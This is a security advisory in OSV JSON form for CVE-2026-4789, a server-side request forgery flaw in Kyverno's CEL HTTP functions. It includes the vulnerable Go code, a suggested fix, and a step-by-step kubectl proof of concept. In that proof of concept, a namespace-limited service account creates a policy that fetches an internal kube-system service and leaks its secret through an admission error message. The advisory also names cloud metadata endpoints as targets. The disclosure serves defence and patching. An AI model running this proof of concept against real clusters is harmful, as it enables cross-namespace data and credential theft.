CVE-2026-4789: Github.com/kyverno/kyverno Kyverno Has SSRF Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rggm-jjmc-3394",
  "modified" : "2026-04-14T22:37:20Z",
  "published" : "2026-04-14T22:37:20Z",
  "aliases" : [ "CVE-2026-4789" ],
  "summary" : "Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access",
  "details" : "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (`pkg/cel/libs/http/`) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.\n\n## Affected Versions\n\n- Kyverno >= 1.16.0 (with `policies.kyverno.io` CRDs enabled, which is the default)\n- Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)\n\n## Details\n\nThe `http.Get()` and `http.Post()` functions available in CEL-based policies (`policies.kyverno.io` API group) do not enforce any URL restrictions. Unlike `resource.Lib` which enforces namespace boundaries for namespaced policies, the `http.Lib` allows unrestricted access to any URL.\n\n**Vulnerable Code:** `pkg/cel/libs/http/http.go`\n```go\nfunc (r *contextImpl) Get(url string, headers map[string]string) (any, error) {\n    req, err := http.NewRequestWithContext(context.TODO(), \"GET\", url, nil)\n    // NO URL VALIDATION - no blocklist, no namespace restrictions\n    ...\n}\n```\n\n**Contrast with resource.Lib** which enforces namespace:\n```go\n// pkg/cel/libs/resource/lib.go\nfunc Lib(namespace string, v *version.Version) cel.EnvOption {\n    return cel.Lib(&lib{namespace: namespace, version: v})  // Namespace enforced\n}\n```\n\nThis is a **different code path** from previously reported issues:\n- GHSA-8p9x-46gm-qfx2: `pkg/engine/apicall/apiCall.go` (URLPath) - Fixed\n- GHSA-459x-q9hg-4gpq: `pkg/engine/apicall/executor.go` (Service.URL) - Different feature (apiCall vs CEL http)\n- **This issue**: `pkg/cel/libs/http/http.go` (CEL http.Get/http.Post) - **Not fixed**\n\n## PoC\n\nTested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).\n\nA complete automated PoC script is attached. Manual steps below:\n\n### 1. Setup attacker with namespace-scoped permissions\n```bash\nkubectl create namespace attacker-ns\nkubectl create serviceaccount namespace-admin -n attacker-ns\n\ncat <<EOF | kubectl apply -f -\napiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: namespace-admin-role\n  namespace: attacker-ns\nrules:\n  - apiGroups: [\"\"]\n    resources: [\"configmaps\"]\n    verbs: [\"create\", \"get\", \"list\"]\n  - apiGroups: [\"policies.kyverno.io\"]\n    resources: [\"namespacedvalidatingpolicies\"]\n    verbs: [\"create\", \"get\", \"list\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: namespace-admin-binding\n  namespace: attacker-ns\nsubjects:\n  - kind: ServiceAccount\n    name: namespace-admin\n    namespace: attacker-ns\nroleRef:\n  kind: Role\n  name: namespace-admin-role\n  apiGroup: rbac.authorization.k8s.io\nEOF\n```\n\n### 2. Create sensitive internal service (simulating internal API or cloud metadata)\n```bash\ncat <<EOF | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: internal-api\n  namespace: kube-system\n  labels:\n    app: internal-api\nspec:\n  containers:\n  - name: server\n    image: hashicorp/http-echo\n    args:\n      - \"-text={\\\"secret\\\": \\\"STOLEN_INTERNAL_SECRET_12345\\\", \\\"token\\\": \\\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\\\"}\"\n      - \"-listen=:8080\"\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: internal-api\n  namespace: kube-system\nspec:\n  selector:\n    app: internal-api\n  ports:\n  - port: 80\n    targetPort: 8080\nEOF\n```\n\n### 3. Verify attacker cannot access kube-system directly\n```bash\nkubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin\n# Output: no\n```\n\n### 4. Create malicious NamespacedValidatingPolicy (as attacker)\n```bash\ncat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f -\napiVersion: policies.kyverno.io/v1beta1\nkind: NamespacedValidatingPolicy\nmetadata:\n  name: cel-ssrf-poc\n  namespace: attacker-ns\nspec:\n  matchConstraints:\n    resourceRules:\n      - apiGroups: [\"\"]\n        apiVersions: [\"v1\"]\n        operations: [\"CREATE\"]\n        resources: [\"configmaps\"]\n  variables:\n    - name: stolenData\n      expression: |\n        http.Get('http://internal-api.kube-system.svc.cluster.local')\n  validations:\n    - expression: \"false\"\n      message: \"Validation failed\"\n      messageExpression: |\n        'SSRF_LEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token']\nEOF\n```\n\n### 5. Trigger exploit and exfiltrate data\n```bash\nkubectl create configmap trigger --from-literal=x=y -n attacker-ns \\\n  --as=system:serviceaccount:attacker-ns:namespace-admin\n```\n\n### 6. Result - Secret data exfiltrated\n```\nerror: failed to create configmap: admission webhook \"nvpol.validate.kyverno.svc-fail\" \ndenied the request: Policy cel-ssrf-poc failed: \nSSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\n```\n\n## Impact\n\n1. **Cross-namespace data access**: Users with only namespace-scoped permissions can access services in any namespace\n2. **Cloud credential theft**: Access to `http://169.254.169.254/...` allows stealing AWS/GCP/Azure IAM credentials\n3. **Data exfiltration**: HTTP response data exposed via validation error messages or audit annotations\n4. **Breaks namespace isolation**: Inconsistent with Kyverno's security model where `resource.Lib` enforces namespace boundaries\n\n## Affected Policies\n\nAll CEL-based namespaced policies in `policies.kyverno.io` API group:\n- `NamespacedValidatingPolicy`\n- `NamespacedMutatingPolicy` \n- `NamespacedDeletingPolicy`\n- `NamespacedImageValidatingPolicy`\n\n## Suggested Fix\n\nAdd namespace and URL restrictions to `pkg/cel/libs/http/http.go`, similar to how `resource.Lib` enforces namespace boundaries:\n```go\ntype lib struct {\n    namespace string  // Add namespace parameter\n    version   *version.Version\n}\n\nfunc (r *contextImpl) Get(url string, headers map[string]string) (any, error) {\n    if err := r.validateURL(url); err != nil {\n        return nil, fmt.Errorf(\"blocked URL: %w\", err)\n    }\n    // ... existing code\n}\n\nfunc (r *contextImpl) validateURL(urlStr string) error {\n    // Block cloud metadata (169.254.0.0/16)\n    // Block localhost/loopback (127.0.0.0/8)\n    // For namespaced policies: restrict to same namespace services only\n}\n```\n\nAttached \n[kyverno-cel-ssrf-poc.sh](https://github.com/user-attachments/files/24940825/kyverno-cel-ssrf-poc.sh)\n\n\n## Credit\n\nDiscovered by: Igor Stepansky\nOrganization: Orca Security\nEmail: igor.stepansky@orca.security\nPersonal Email: stepanskyigor@gmail.com",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kyverno/kyverno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.16.0"
      }, {
        "fixed" : "1.17.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-rggm-jjmc-3394"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-4789"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/pull/15729"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kyverno/kyverno"
  }, {
    "type" : "WEB",
    "url" : "https://www.kb.cert.org/vuls/id/655822"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T22:37:20Z",
    "nvd_published_at" : null
  }
}